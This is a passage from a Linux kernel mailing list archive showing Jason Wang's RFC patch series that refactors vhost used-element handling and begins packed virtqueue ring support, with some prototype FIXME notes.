static int vhost_net_tx_get_vq_desc(struct vhost_net *net,
struct vhost_virtqueue *vq,
- struct vring_used_elem *used_elem,
+ struct vhost_used_elem *used_elem,
struct iovec iov[], unsigned int iov_size,
unsigned int *out_num, unsigned int *in_num)
{
@@ -473,7 +473,7 @@ static void handle_tx(struct vhost_net *net)
size_t hdr_size;
struct socket *sock;
struct vhost_net_ubuf_ref *uninitialized_var(ubufs);
- struct vring_used_elem used;
+ struct vhost_used_elem used;
bool zcopy, zcopy_used;
mutex_lock(&vq->mutex);
@@ -537,9 +537,10 @@ static void handle_tx(struct vhost_net *net)
struct ubuf_info *ubuf;
ubuf = nvq->ubuf_info + nvq->upend_idx;
- vq->heads[nvq->upend_idx].id =
- cpu_to_vhost32(vq, used.id);
- vq->heads[nvq->upend_idx].len = VHOST_DMA_IN_PROGRESS;
+ vq->heads[nvq->upend_idx].elem.id =
+ cpu_to_vhost32(vq, used.elem.id);
+ vq->heads[nvq->upend_idx].elem.len =
+ VHOST_DMA_IN_PROGRESS;
ubuf->callback = vhost_zerocopy_callback;
ubuf->ctx = nvq->ubufs;
ubuf->desc = nvq->upend_idx;
diff --git a/drivers/vhost/scsi.c b/drivers/vhost/scsi.c
index 654c71f..ac11412 100644
--- a/drivers/vhost/scsi.c
+++ b/drivers/vhost/scsi.c
@@ -67,7 +67,7 @@ struct vhost_scsi_inflight {
struct vhost_scsi_cmd {
/* Descriptor from vhost_get_vq_desc() for virt_queue segment */
- struct vring_used_elem tvc_vq_used;
+ struct vhost_used_elem tvc_vq_used;
/* virtio-scsi initiator task attribute */
int tvc_task_attr;
/* virtio-scsi response incoming iovecs */
@@ -441,7 +441,7 @@ vhost_scsi_do_evt_work(struct vhost_scsi *vs, struct vhost_scsi_evt *evt)
struct vhost_virtqueue *vq = &vs->vqs[VHOST_SCSI_VQ_EVT].vq;
struct virtio_scsi_event *event = &evt->event;
struct virtio_scsi_event __user *eventp;
- struct vring_used_elem used;
+ struct vhost_used_elem used;
unsigned out, in;
int ret;
@@ -785,7 +785,7 @@ static void vhost_scsi_submission_work(struct work_struct *work)
static void
vhost_scsi_send_bad_target(struct vhost_scsi *vs,
struct vhost_virtqueue *vq,
- struct vring_used_elem *used, unsigned out)
+ struct vhost_used_elem *used, unsigned out)
{
struct virtio_scsi_cmd_resp __user *resp;
struct virtio_scsi_cmd_resp rsp;
@@ -808,7 +808,7 @@ vhost_scsi_handle_vq(struct vhost_scsi *vs, struct vhost_virtqueue *vq)
struct virtio_scsi_cmd_req v_req;
struct virtio_scsi_cmd_req_pi v_req_pi;
struct vhost_scsi_cmd *cmd;
- struct vring_used_elem used;
+ struct vhost_used_elem used;
struct iov_iter out_iter, in_iter, prot_iter, data_iter;
u64 tag;
u32 exp_data_len, data_direction;
@@ -837,7 +837,7 @@ vhost_scsi_handle_vq(struct vhost_scsi *vs, struct vhost_virtqueue *vq)
ARRAY_SIZE(vq->iov), &out, &in,
NULL, NULL);
pr_debug("vhost_get_vq_desc: head: %d, out: %u in: %u\n",
- used.id, out, in);
+ used.elem.id, out, in);
/* Nothing new? Wait for eventfd to tell us they refilled. */
if (ret == -ENOSPC) {
if (unlikely(vhost_enable_notify(&vs->dev, vq))) {
diff --git a/drivers/vhost/vhost.c b/drivers/vhost/vhost.c
index 83cb1dc..8744dae 100644
--- a/drivers/vhost/vhost.c
+++ b/drivers/vhost/vhost.c
@@ -1956,7 +1956,7 @@ static int get_indirect(struct vhost_virtqueue *vq,
* never a valid descriptor number) if none was found. A negative code is
* returned on error. */
int vhost_get_vq_desc(struct vhost_virtqueue *vq,
- struct vring_used_elem *used,
+ struct vhost_used_elem *used,
struct iovec iov[], unsigned int iov_size,
unsigned int *out_num, unsigned int *in_num,
struct vhost_log *log, unsigned int *log_num)
@@ -2007,7 +2007,7 @@ int vhost_get_vq_desc(struct vhost_virtqueue *vq,
return -EFAULT;
}
- used->id = ring_head;
+ used->elem.id = ring_head;
head = vhost16_to_cpu(vq, ring_head);
/* If their number is silly, that's an error. */
@@ -2101,9 +2101,9 @@ int vhost_get_vq_desc(struct vhost_virtqueue *vq,
EXPORT_SYMBOL_GPL(vhost_get_vq_desc);
static void vhost_set_used_len(struct vhost_virtqueue *vq,
- struct vring_used_elem *used, int len)
+ struct vhost_used_elem *used, int len)
{
- used->len = cpu_to_vhost32(vq, len);
+ used->elem.len = cpu_to_vhost32(vq, len);
}
/* This is a multi-buffer version of vhost_get_desc, that works if
@@ -2117,7 +2117,7 @@ static void vhost_set_used_len(struct vhost_virtqueue *vq,
* returns number of buffer heads allocated, negative on error
*/
int vhost_get_bufs(struct vhost_virtqueue *vq,
- struct vring_used_elem *heads,
+ struct vhost_used_elem *heads,
int datalen,
unsigned *iovcount,
struct vhost_log *log,
@@ -2190,7 +2190,7 @@ EXPORT_SYMBOL_GPL(vhost_discard_vq_desc);
/* After we've used one of their buffers, we tell them about it. We'll then
* want to notify the guest, using eventfd. */
-int vhost_add_used(struct vhost_virtqueue *vq, struct vring_used_elem *used,
+int vhost_add_used(struct vhost_virtqueue *vq, struct vhost_used_elem *used,
int len)
{
vhost_set_used_len(vq, used, len);
@@ -2199,27 +2199,26 @@ int vhost_add_used(struct vhost_virtqueue *vq, struct vring_used_elem *used,
EXPORT_SYMBOL_GPL(vhost_add_used);
static int __vhost_add_used_n(struct vhost_virtqueue *vq,
- struct vring_used_elem *heads,
+ struct vhost_used_elem *heads,
unsigned count)
{
struct vring_used_elem __user *used;
u16 old, new;
- int start;
+ int start, i;
start = vq->last_used_idx & (vq->num - 1);
used = vq->used->ring + start;
- if (count == 1) {
- if (vhost_put_user(vq, heads[0].id, &used->id)) {
+ for (i = 0; i < count; i++) {
+ if (unlikely(vhost_put_user(vq, heads[i].elem.id,
+ &used[i].id))) {
vq_err(vq, "Failed to write used id");
return -EFAULT;
}
- if (vhost_put_user(vq, heads[0].len, &used->len)) {
+ if (unlikely(vhost_put_user(vq, heads[i].elem.len,
+ &used[i].len))) {
vq_err(vq, "Failed to write used len");
return -EFAULT;
}
- } else if (vhost_copy_to_user(vq, used, heads, count * sizeof *used)) {
- vq_err(vq, "Failed to write used");
- return -EFAULT;
}
if (unlikely(vq->log_used)) {
/* Make sure data is seen before log. */
@@ -2243,7 +2242,7 @@ static int __vhost_add_used_n(struct vhost_virtqueue *vq,
/* After we've used one of their buffers, we tell them about it. We'll then
* want to notify the guest, using eventfd. */
-int vhost_add_used_n(struct vhost_virtqueue *vq, struct vring_used_elem *heads,
+int vhost_add_used_n(struct vhost_virtqueue *vq, struct vhost_used_elem *heads,
unsigned count)
{
int start, n, r;
@@ -2327,7 +2326,7 @@ EXPORT_SYMBOL_GPL(vhost_signal);
/* And here's the combo meal deal. Supersize me! */
void vhost_add_used_and_signal(struct vhost_dev *dev,
struct vhost_virtqueue *vq,
- struct vring_used_elem *used, int len)
+ struct vhost_used_elem *used, int len)
{
vhost_add_used(vq, used, len);
vhost_signal(dev, vq);
@@ -2337,7 +2336,7 @@ EXPORT_SYMBOL_GPL(vhost_add_used_and_signal);
/* multi-buffer version of vhost_add_used_and_signal */
void vhost_add_used_and_signal_n(struct vhost_dev *dev,
struct vhost_virtqueue *vq,
- struct vring_used_elem *heads, unsigned count)
+ struct vhost_used_elem *heads, unsigned count)
{
vhost_add_used_n(vq, heads, count);
vhost_signal(dev, vq);
diff --git a/drivers/vhost/vhost.h b/drivers/vhost/vhost.h
index 477bfd2..8399887 100644
--- a/drivers/vhost/vhost.h
+++ b/drivers/vhost/vhost.h
@@ -34,6 +34,10 @@ struct vhost_poll {
struct vhost_dev *dev;
};
+struct vhost_used_elem {
+ struct vring_used_elem elem;
+};
+
void vhost_work_init(struct vhost_work *work, vhost_work_fn_t fn);
void vhost_work_queue(struct vhost_dev *dev, struct vhost_work *work);
bool vhost_has_work(struct vhost_dev *dev);
@@ -126,7 +130,7 @@ struct vhost_virtqueue {
struct iovec iov[UIO_MAXIOV];
struct iovec iotlb_iov[64];
struct iovec *indirect;
- struct vring_used_elem *heads;
+ struct vhost_used_elem *heads;
/* Protected by virtqueue mutex. */
struct vhost_umem *umem;
struct vhost_umem *iotlb;
@@ -182,12 +186,12 @@ int vhost_vq_access_ok(struct vhost_virtqueue *vq);
int vhost_log_access_ok(struct vhost_dev *);
int vhost_get_vq_desc(struct vhost_virtqueue *,
- struct vring_used_elem *used_elem,
+ struct vhost_used_elem *used_elem,
struct iovec iov[], unsigned int iov_count,
unsigned int *out_num, unsigned int *in_num,
struct vhost_log *log, unsigned int *log_num);
int vhost_get_bufs(struct vhost_virtqueue *vq,
- struct vring_used_elem *heads,
+ struct vhost_used_elem *heads,
int datalen,
unsigned *iovcount,
struct vhost_log *log,
@@ -198,13 +202,13 @@ void vhost_discard_vq_desc(struct vhost_virtqueue *, int n);
int vhost_vq_init_access(struct vhost_virtqueue *);
int vhost_add_used(struct vhost_virtqueue *vq,
- struct vring_used_elem *elem, int len);
-int vhost_add_used_n(struct vhost_virtqueue *, struct vring_used_elem *heads,
+ struct vhost_used_elem *elem, int len);
+int vhost_add_used_n(struct vhost_virtqueue *vq, struct vhost_used_elem *heads,
unsigned count);
void vhost_add_used_and_signal(struct vhost_dev *, struct vhost_virtqueue *,
- struct vring_used_elem *, int len);
+ struct vhost_used_elem *, int len);
void vhost_add_used_and_signal_n(struct vhost_dev *, struct vhost_virtqueue *,
- struct vring_used_elem *heads, unsigned count);
+ struct vhost_used_elem *heads, unsigned count);
void vhost_signal(struct vhost_dev *, struct vhost_virtqueue *);
void vhost_disable_notify(struct vhost_dev *, struct vhost_virtqueue *);
bool vhost_vq_avail_empty(struct vhost_dev *, struct vhost_virtqueue *);
diff --git a/drivers/vhost/vsock.c b/drivers/vhost/vsock.c
index fc20292..5d36208 100644
--- a/drivers/vhost/vsock.c
+++ b/drivers/vhost/vsock.c
@@ -98,7 +98,7 @@ vhost_transport_do_send_pkt(struct vhost_vsock *vsock,
for (;;) {
struct virtio_vsock_pkt *pkt;
- struct vring_used_elem used;
+ struct vhost_used_elem used;
struct iov_iter iov_iter;
unsigned out, in;
size_t nbytes;
@@ -146,7 +146,7 @@ vhost_transport_do_send_pkt(struct vhost_vsock *vsock,
break;
}
- len = vhost32_to_cpu(vq, used.len);
+ len = vhost32_to_cpu(vq, used.elem.len);
iov_iter_init(&iov_iter, READ, &vq->iov[out], in, len);
nbytes = copy_to_iter(&pkt->hdr, sizeof(pkt->hdr), &iov_iter);
@@ -346,7 +346,7 @@ static void vhost_vsock_handle_tx_kick(struct vhost_work *work)
struct vhost_vsock *vsock = container_of(vq->dev, struct vhost_vsock,
dev);
struct virtio_vsock_pkt *pkt;
- struct vring_used_elem used;
+ struct vhost_used_elem used;
int ret;
unsigned int out, in;
bool added = false;
--
2.7.4
^ permalink raw reply related
* [RFC PATCH V2 4/8] vhost_net: do not explicitly manipulate vhost_used_elem
From: Jason Wang @ 2018-03-26 3:38 UTC (permalink / raw)
To: mst, virtualization; +Cc: kvm, netdev, linux-kernel, Jason Wang
In-Reply-To: <1522035533-11786-1-git-send-email-jasowang@redhat.com>
Two helpers of setting/getting used len were introduced to avoid
explicitly manipulating vhost_used_elem in zerocopy code. This will be
used to hide used_elem internals and simplify packed ring
implementation.
Signed-off-by: Jason Wang <jasowang@redhat.com>
---
drivers/vhost/net.c | 11 +++++------
drivers/vhost/vhost.c | 12 ++++++++++--
drivers/vhost/vhost.h | 5 +++++
3 files changed, 20 insertions(+), 8 deletions(-)
diff --git a/drivers/vhost/net.c b/drivers/vhost/net.c
index 7ea2aee..7be8b55 100644
--- a/drivers/vhost/net.c
+++ b/drivers/vhost/net.c
@@ -337,9 +337,10 @@ static void vhost_zerocopy_signal_used(struct vhost_net *net,
int j = 0;
for (i = nvq->done_idx; i != nvq->upend_idx; i = (i + 1) % UIO_MAXIOV) {
- if (vq->heads[i].elem.len == VHOST_DMA_FAILED_LEN)
+ if (vhost_get_used_len(vq, &vq->heads[i]) ==
+ VHOST_DMA_FAILED_LEN)
vhost_net_tx_err(net);
- if (VHOST_DMA_IS_DONE(vq->heads[i].elem.len)) {
+ if (VHOST_DMA_IS_DONE(vhost_get_used_len(vq, &vq->heads[i]))) {
vq->heads[i].elem.len = VHOST_DMA_CLEAR_LEN;
++j;
} else
@@ -537,10 +538,8 @@ static void handle_tx(struct vhost_net *net)
struct ubuf_info *ubuf;
ubuf = nvq->ubuf_info + nvq->upend_idx;
- vq->heads[nvq->upend_idx].elem.id =
- cpu_to_vhost32(vq, used.elem.id);
- vq->heads[nvq->upend_idx].elem.len =
- VHOST_DMA_IN_PROGRESS;
+ vhost_set_used_len(vq, &used, VHOST_DMA_IN_PROGRESS);
+ vq->heads[nvq->upend_idx] = used;
ubuf->callback = vhost_zerocopy_callback;
ubuf->ctx = nvq->ubufs;
ubuf->desc = nvq->upend_idx;
diff --git a/drivers/vhost/vhost.c b/drivers/vhost/vhost.c
index 8744dae..65954d6 100644
--- a/drivers/vhost/vhost.c
+++ b/drivers/vhost/vhost.c
@@ -2100,11 +2100,19 @@ int vhost_get_vq_desc(struct vhost_virtqueue *vq,
}
EXPORT_SYMBOL_GPL(vhost_get_vq_desc);
-static void vhost_set_used_len(struct vhost_virtqueue *vq,
- struct vhost_used_elem *used, int len)
+void vhost_set_used_len(struct vhost_virtqueue *vq,
+ struct vhost_used_elem *used, int len)
{
used->elem.len = cpu_to_vhost32(vq, len);
}
+EXPORT_SYMBOL_GPL(vhost_set_used_len);
+
+int vhost_get_used_len(struct vhost_virtqueue *vq,
+ struct vhost_used_elem *used)
+{
+ return vhost32_to_cpu(vq, used->elem.len);
+}
+EXPORT_SYMBOL_GPL(vhost_get_used_len);
/* This is a multi-buffer version of vhost_get_desc, that works if
* vq has read descriptors only.
diff --git a/drivers/vhost/vhost.h b/drivers/vhost/vhost.h
index 8399887..d57c875 100644
--- a/drivers/vhost/vhost.h
+++ b/drivers/vhost/vhost.h
@@ -198,6 +198,11 @@ int vhost_get_bufs(struct vhost_virtqueue *vq,
unsigned *log_num,
unsigned int quota,
s16 *count);
+void vhost_set_used_len(struct vhost_virtqueue *vq,
+ struct vhost_used_elem *used,
+ int len);
+int vhost_get_used_len(struct vhost_virtqueue *vq,
+ struct vhost_used_elem *used);
void vhost_discard_vq_desc(struct vhost_virtqueue *, int n);
int vhost_vq_init_access(struct vhost_virtqueue *);
--
2.7.4
^ permalink raw reply related
* [RFC PATCH V2 5/8] vhost: vhost_put_user() can accept metadata type
From: Jason Wang @ 2018-03-26 3:38 UTC (permalink / raw)
To: mst, virtualization; +Cc: kvm, netdev, linux-kernel, Jason Wang
In-Reply-To: <1522035533-11786-1-git-send-email-jasowang@redhat.com>
We assumes used ring update is the only user for vhost_put_user() in
the past. This may not be the case for the incoming packed ring which
may update the descriptor ring for used. So introduce a new type
parameter.
Signed-off-by: Jason Wang <jasowang@redhat.com>
---
drivers/vhost/vhost.c | 14 +++++++-------
1 file changed, 7 insertions(+), 7 deletions(-)
diff --git a/drivers/vhost/vhost.c b/drivers/vhost/vhost.c
index 65954d6..dcac4d4 100644
--- a/drivers/vhost/vhost.c
+++ b/drivers/vhost/vhost.c
@@ -847,7 +847,7 @@ static inline void __user *__vhost_get_user(struct vhost_virtqueue *vq,
return __vhost_get_user_slow(vq, addr, size, type);
}
-#define vhost_put_user(vq, x, ptr) \
+#define vhost_put_user(vq, x, ptr, type) \
({ \
int ret = -EFAULT; \
if (!vq->iotlb) { \
@@ -855,7 +855,7 @@ static inline void __user *__vhost_get_user(struct vhost_virtqueue *vq,
} else { \
__typeof__(ptr) to = \
(__typeof__(ptr)) __vhost_get_user(vq, ptr, \
- sizeof(*ptr), VHOST_ADDR_USED); \
+ sizeof(*ptr), type); \
if (to != NULL) \
ret = __put_user(x, to); \
else \
@@ -1716,7 +1716,7 @@ static int vhost_update_used_flags(struct vhost_virtqueue *vq)
{
void __user *used;
if (vhost_put_user(vq, cpu_to_vhost16(vq, vq->used_flags),
- &vq->used->flags) < 0)
+ &vq->used->flags, VHOST_ADDR_USED) < 0)
return -EFAULT;
if (unlikely(vq->log_used)) {
/* Make sure the flag is seen before log. */
@@ -1735,7 +1735,7 @@ static int vhost_update_used_flags(struct vhost_virtqueue *vq)
static int vhost_update_avail_event(struct vhost_virtqueue *vq, u16 avail_event)
{
if (vhost_put_user(vq, cpu_to_vhost16(vq, vq->avail_idx),
- vhost_avail_event(vq)))
+ vhost_avail_event(vq), VHOST_ADDR_USED))
return -EFAULT;
if (unlikely(vq->log_used)) {
void __user *used;
@@ -2218,12 +2218,12 @@ static int __vhost_add_used_n(struct vhost_virtqueue *vq,
used = vq->used->ring + start;
for (i = 0; i < count; i++) {
if (unlikely(vhost_put_user(vq, heads[i].elem.id,
- &used[i].id))) {
+ &used[i].id, VHOST_ADDR_USED))) {
vq_err(vq, "Failed to write used id");
return -EFAULT;
}
if (unlikely(vhost_put_user(vq, heads[i].elem.len,
- &used[i].len))) {
+ &used[i].len, VHOST_ADDR_USED))) {
vq_err(vq, "Failed to write used len");
return -EFAULT;
}
@@ -2269,7 +2269,7 @@ int vhost_add_used_n(struct vhost_virtqueue *vq, struct vhost_used_elem *heads,
/* Make sure buffer is written before we update index. */
smp_wmb();
if (vhost_put_user(vq, cpu_to_vhost16(vq, vq->last_used_idx),
- &vq->used->idx)) {
+ &vq->used->idx, VHOST_ADDR_USED)) {
vq_err(vq, "Failed to increment used idx");
return -EFAULT;
}
--
2.7.4
^ permalink raw reply related
* [RFC PATCH V2 6/8] virtio: introduce packed ring defines
From: Jason Wang @ 2018-03-26 3:38 UTC (permalink / raw)
To: mst, virtualization; +Cc: kvm, netdev, linux-kernel, Jason Wang
In-Reply-To: <1522035533-11786-1-git-send-email-jasowang@redhat.com>
Signed-off-by: Jason Wang <jasowang@redhat.com>
---
include/uapi/linux/virtio_config.h | 9 +++++++++
include/uapi/linux/virtio_ring.h | 13 +++++++++++++
2 files changed, 22 insertions(+)
diff --git a/include/uapi/linux/virtio_config.h b/include/uapi/linux/virtio_config.h
index 308e209..5903d51 100644
--- a/include/uapi/linux/virtio_config.h
+++ b/include/uapi/linux/virtio_config.h
@@ -71,4 +71,13 @@
* this is for compatibility with legacy systems.
*/
#define VIRTIO_F_IOMMU_PLATFORM 33
+
+#define VIRTIO_F_RING_PACKED 34
+
+/*
+ * This feature indicates that all buffers are used by the device in
+ * the same order in which they have been made available.
+ */
+#define VIRTIO_F_IN_ORDER 35
+
#endif /* _UAPI_LINUX_VIRTIO_CONFIG_H */
diff --git a/include/uapi/linux/virtio_ring.h b/include/uapi/linux/virtio_ring.h
index 6d5d5fa..e297580 100644
--- a/include/uapi/linux/virtio_ring.h
+++ b/include/uapi/linux/virtio_ring.h
@@ -43,6 +43,8 @@
#define VRING_DESC_F_WRITE 2
/* This means the buffer contains a list of buffer descriptors. */
#define VRING_DESC_F_INDIRECT 4
+#define VRING_DESC_F_AVAIL 7
+#define VRING_DESC_F_USED 15
/* The Host uses this in used->flags to advise the Guest: don't kick me when
* you add a buffer. It's unreliable, so it's simply an optimization. Guest
@@ -62,6 +64,17 @@
* at the end of the used ring. Guest should ignore the used->flags field. */
#define VIRTIO_RING_F_EVENT_IDX 29
+struct vring_desc_packed {
+ /* Buffer Address. */
+ __virtio64 addr;
+ /* Buffer Length. */
+ __virtio32 len;
+ /* Buffer ID. */
+ __virtio16 id;
+ /* The flags depending on descriptor type. */
+ __virtio16 flags;
+};
+
/* Virtio ring descriptors: 16 bytes. These can chain together via "next". */
struct vring_desc {
/* Address (guest-physical). */
--
2.7.4
^ permalink raw reply related
* [RFC PATCH V2 7/8] vhost: packed ring support
From: Jason Wang @ 2018-03-26 3:38 UTC (permalink / raw)
To: mst, virtualization; +Cc: kvm, netdev, linux-kernel, Jason Wang
In-Reply-To: <1522035533-11786-1-git-send-email-jasowang@redhat.com>
Signed-off-by: Jason Wang <jasowang@redhat.com>
---
drivers/vhost/net.c | 5 +-
drivers/vhost/vhost.c | 530 ++++++++++++++++++++++++++++++++++++++++++++++----
drivers/vhost/vhost.h | 7 +-
3 files changed, 505 insertions(+), 37 deletions(-)
diff --git a/drivers/vhost/net.c b/drivers/vhost/net.c
index 7be8b55..84905d5 100644
--- a/drivers/vhost/net.c
+++ b/drivers/vhost/net.c
@@ -67,7 +67,8 @@ enum {
VHOST_NET_FEATURES = VHOST_FEATURES |
(1ULL << VHOST_NET_F_VIRTIO_NET_HDR) |
(1ULL << VIRTIO_NET_F_MRG_RXBUF) |
- (1ULL << VIRTIO_F_IOMMU_PLATFORM)
+ (1ULL << VIRTIO_F_IOMMU_PLATFORM) |
+ (1ULL << VIRTIO_F_RING_PACKED)
};
enum {
@@ -706,6 +707,8 @@ static void handle_rx(struct vhost_net *net)
vq_log = unlikely(vhost_has_feature(vq, VHOST_F_LOG_ALL)) ?
vq->log : NULL;
mergeable = vhost_has_feature(vq, VIRTIO_NET_F_MRG_RXBUF);
+ /* FIXME: workaround for current dpdk prototype */
+ mergeable = false;
while ((sock_len = vhost_net_rx_peek_head_len(net, sock->sk))) {
sock_len += sock_hlen;
diff --git a/drivers/vhost/vhost.c b/drivers/vhost/vhost.c
index dcac4d4..6177e4d 100644
--- a/drivers/vhost/vhost.c
+++ b/drivers/vhost/vhost.c
@@ -324,6 +324,7 @@ static void vhost_vq_reset(struct vhost_dev *dev,
vhost_reset_is_le(vq);
vhost_disable_cross_endian(vq);
vq->busyloop_timeout = 0;
+ vq->used_wrap_counter = true;
vq->umem = NULL;
vq->iotlb = NULL;
__vhost_vq_meta_reset(vq);
@@ -1136,10 +1137,22 @@ static int vhost_iotlb_miss(struct vhost_virtqueue *vq, u64 iova, int access)
return 0;
}
-static int vq_access_ok(struct vhost_virtqueue *vq, unsigned int num,
- struct vring_desc __user *desc,
- struct vring_avail __user *avail,
- struct vring_used __user *used)
+static int vq_access_ok_packed(struct vhost_virtqueue *vq, unsigned int num,
+ struct vring_desc __user *desc,
+ struct vring_avail __user *avail,
+ struct vring_used __user *used)
+{
+ struct vring_desc_packed *packed = (struct vring_desc_packed *)desc;
+
+ /* FIXME: check device area and driver area */
+ return access_ok(VERIFY_READ, packed, num * sizeof(*packed)) &&
+ access_ok(VERIFY_WRITE, packed, num * sizeof(*packed));
+}
+
+static int vq_access_ok_split(struct vhost_virtqueue *vq, unsigned int num,
+ struct vring_desc __user *desc,
+ struct vring_avail __user *avail,
+ struct vring_used __user *used)
{
size_t s = vhost_has_feature(vq, VIRTIO_RING_F_EVENT_IDX) ? 2 : 0;
@@ -1151,6 +1164,17 @@ static int vq_access_ok(struct vhost_virtqueue *vq, unsigned int num,
sizeof *used + num * sizeof *used->ring + s);
}
+static int vq_access_ok(struct vhost_virtqueue *vq, unsigned int num,
+ struct vring_desc __user *desc,
+ struct vring_avail __user *avail,
+ struct vring_used __user *used)
+{
+ if (vhost_has_feature(vq, VIRTIO_F_RING_PACKED))
+ return vq_access_ok_packed(vq, num, desc, avail, used);
+ else
+ return vq_access_ok_split(vq, num, desc, avail, used);
+}
+
static void vhost_vq_meta_update(struct vhost_virtqueue *vq,
const struct vhost_umem_node *node,
int type)
@@ -1763,6 +1787,9 @@ int vhost_vq_init_access(struct vhost_virtqueue *vq)
vhost_init_is_le(vq);
+ if (vhost_has_feature(vq, VIRTIO_F_RING_PACKED))
+ return 0;
+
r = vhost_update_used_flags(vq);
if (r)
goto err;
@@ -1836,7 +1863,8 @@ static int translate_desc(struct vhost_virtqueue *vq, u64 addr, u32 len,
/* Each buffer in the virtqueues is actually a chain of descriptors. This
* function returns the next descriptor in the chain,
* or -1U if we're at the end. */
-static unsigned next_desc(struct vhost_virtqueue *vq, struct vring_desc *desc)
+static unsigned next_desc_split(struct vhost_virtqueue *vq,
+ struct vring_desc *desc)
{
unsigned int next;
@@ -1849,11 +1877,17 @@ static unsigned next_desc(struct vhost_virtqueue *vq, struct vring_desc *desc)
return next;
}
-static int get_indirect(struct vhost_virtqueue *vq,
- struct iovec iov[], unsigned int iov_size,
- unsigned int *out_num, unsigned int *in_num,
- struct vhost_log *log, unsigned int *log_num,
- struct vring_desc *indirect)
+static unsigned next_desc_packed(struct vhost_virtqueue *vq,
+ struct vring_desc_packed *desc)
+{
+ return desc->flags & cpu_to_vhost16(vq, VRING_DESC_F_NEXT);
+}
+
+static int get_indirect_split(struct vhost_virtqueue *vq,
+ struct iovec iov[], unsigned int iov_size,
+ unsigned int *out_num, unsigned int *in_num,
+ struct vhost_log *log, unsigned int *log_num,
+ struct vring_desc *indirect)
{
struct vring_desc desc;
unsigned int i = 0, count, found = 0;
@@ -1943,23 +1977,274 @@ static int get_indirect(struct vhost_virtqueue *vq,
}
*out_num += ret;
}
- } while ((i = next_desc(vq, &desc)) != -1);
+ } while ((i = next_desc_split(vq, &desc)) != -1);
return 0;
}
-/* This looks in the virtqueue and for the first available buffer, and converts
- * it to an iovec for convenient access. Since descriptors consist of some
- * number of output then some number of input descriptors, it's actually two
- * iovecs, but we pack them into one and note how many of each there were.
- *
- * This function returns the descriptor number found, or vq->num (which is
- * never a valid descriptor number) if none was found. A negative code is
- * returned on error. */
-int vhost_get_vq_desc(struct vhost_virtqueue *vq,
- struct vhost_used_elem *used,
- struct iovec iov[], unsigned int iov_size,
- unsigned int *out_num, unsigned int *in_num,
- struct vhost_log *log, unsigned int *log_num)
+static int get_indirect_packed(struct vhost_virtqueue *vq,
+ struct iovec iov[], unsigned int iov_size,
+ unsigned int *out_num, unsigned int *in_num,
+ struct vhost_log *log, unsigned int *log_num,
+ struct vring_desc_packed *indirect)
+{
+ struct vring_desc_packed desc;
+ unsigned int i = 0, count, found = 0;
+ u32 len = vhost32_to_cpu(vq, indirect->len);
+ struct iov_iter from;
+ int ret, access;
+
+ /* Sanity check */
+ if (unlikely(len % sizeof(desc))) {
+ vq_err(vq, "Invalid length in indirect descriptor: "
+ "len 0x%llx not multiple of 0x%zx\n",
+ (unsigned long long)len,
+ sizeof desc);
+ return -EINVAL;
+ }
+
+ ret = translate_desc(vq, vhost64_to_cpu(vq, indirect->addr),
+ len, vq->indirect,
+ UIO_MAXIOV, VHOST_ACCESS_RO);
+ if (unlikely(ret < 0)) {
+ if (ret != -EAGAIN)
+ vq_err(vq, "Translation failure %d in indirect.\n",
+ ret);
+ return ret;
+ }
+ iov_iter_init(&from, READ, vq->indirect, ret, len);
+
+ /* We will use the result as an address to read from, so most
+ * architectures only need a compiler barrier here. */
+ read_barrier_depends();
+
+ count = len / sizeof desc;
+ /* Buffers are chained via a 16 bit next field, so
+ * we can have at most 2^16 of these. */
+ if (unlikely(count > USHRT_MAX + 1)) {
+ vq_err(vq, "Indirect buffer length too big: %d\n",
+ indirect->len);
+ return -E2BIG;
+ }
+
+ do {
+ unsigned iov_count = *in_num + *out_num;
+ if (unlikely(++found > count)) {
+ vq_err(vq, "Loop detected: last one at %u "
+ "indirect size %u\n",
+ i, count);
+ return -EINVAL;
+ }
+ if (unlikely(!copy_from_iter_full(&desc, sizeof(desc),
+ &from))) {
+ vq_err(vq, "Failed indirect descriptor: idx %d, %zx\n",
+ i, (size_t)vhost64_to_cpu(vq, indirect->addr)
+ + i * sizeof desc);
+ return -EINVAL;
+ }
+ if (unlikely(desc.flags &
+ cpu_to_vhost16(vq, VRING_DESC_F_INDIRECT))) {
+ vq_err(vq, "Nested indirect descriptor: idx %d, %zx\n",
+ i, (size_t)vhost64_to_cpu(vq, indirect->addr)
+ + i * sizeof desc);
+ return -EINVAL;
+ }
+
+ if (desc.flags & cpu_to_vhost16(vq, VRING_DESC_F_WRITE))
+ access = VHOST_ACCESS_WO;
+ else
+ access = VHOST_ACCESS_RO;
+
+ ret = translate_desc(vq, vhost64_to_cpu(vq, desc.addr),
+ vhost32_to_cpu(vq, desc.len),
+ iov + iov_count,
+ iov_size - iov_count, access);
+ if (unlikely(ret < 0)) {
+ if (ret != -EAGAIN)
+ vq_err(vq, "Translation failure %d "
+ "indirect idx %d\n",
+ ret, i);
+ return ret;
+ }
+ /* If this is an input descriptor, increment that count. */
+ if (access == VHOST_ACCESS_WO) {
+ *in_num += ret;
+ if (unlikely(log)) {
+ log[*log_num].addr =
+ vhost64_to_cpu(vq, desc.addr);
+ log[*log_num].len =
+ vhost32_to_cpu(vq, desc.len);
+ ++*log_num;
+ }
+ } else {
+ /* If it's an output descriptor, they're all supposed
+ * to come before any input descriptors. */
+ if (unlikely(*in_num)) {
+ vq_err(vq, "Indirect descriptor "
+ "has out after in: idx %d\n", i);
+ return -EINVAL;
+ }
+ *out_num += ret;
+ }
+ } while ((i = next_desc_packed(vq, &desc)) != -1);
+ return 0;
+}
+
+#define DESC_AVAIL (1 << VRING_DESC_F_AVAIL)
+#define DESC_USED (1 << VRING_DESC_F_USED)
+static bool desc_is_avail(struct vhost_virtqueue *vq, __virtio16 flags)
+{
+ if (vq->used_wrap_counter)
+ if ((flags & cpu_to_vhost16(vq, DESC_AVAIL)) &&
+ !(flags & cpu_to_vhost16(vq, DESC_USED)))
+ return true;
+ if (vq->used_wrap_counter == false)
+ if (!(flags & cpu_to_vhost16(vq, DESC_AVAIL)) &&
+ (flags & cpu_to_vhost16(vq, DESC_USED)))
+ return true;
+
+ return false;
+}
+
+static __virtio16 get_desc_flags(struct vhost_virtqueue *vq)
+{
+ __virtio16 flags = 0;
+
+ if (vq->used_wrap_counter) {
+ flags |= cpu_to_vhost16(vq, DESC_AVAIL);
+ flags |= cpu_to_vhost16(vq, DESC_USED);
+ } else {
+ flags &= ~cpu_to_vhost16(vq, DESC_AVAIL);
+ flags &= ~cpu_to_vhost16(vq, DESC_USED);
+ }
+
+ return flags;
+}
+
+static int vhost_get_vq_desc_packed(struct vhost_virtqueue *vq,
+ struct vhost_used_elem *used,
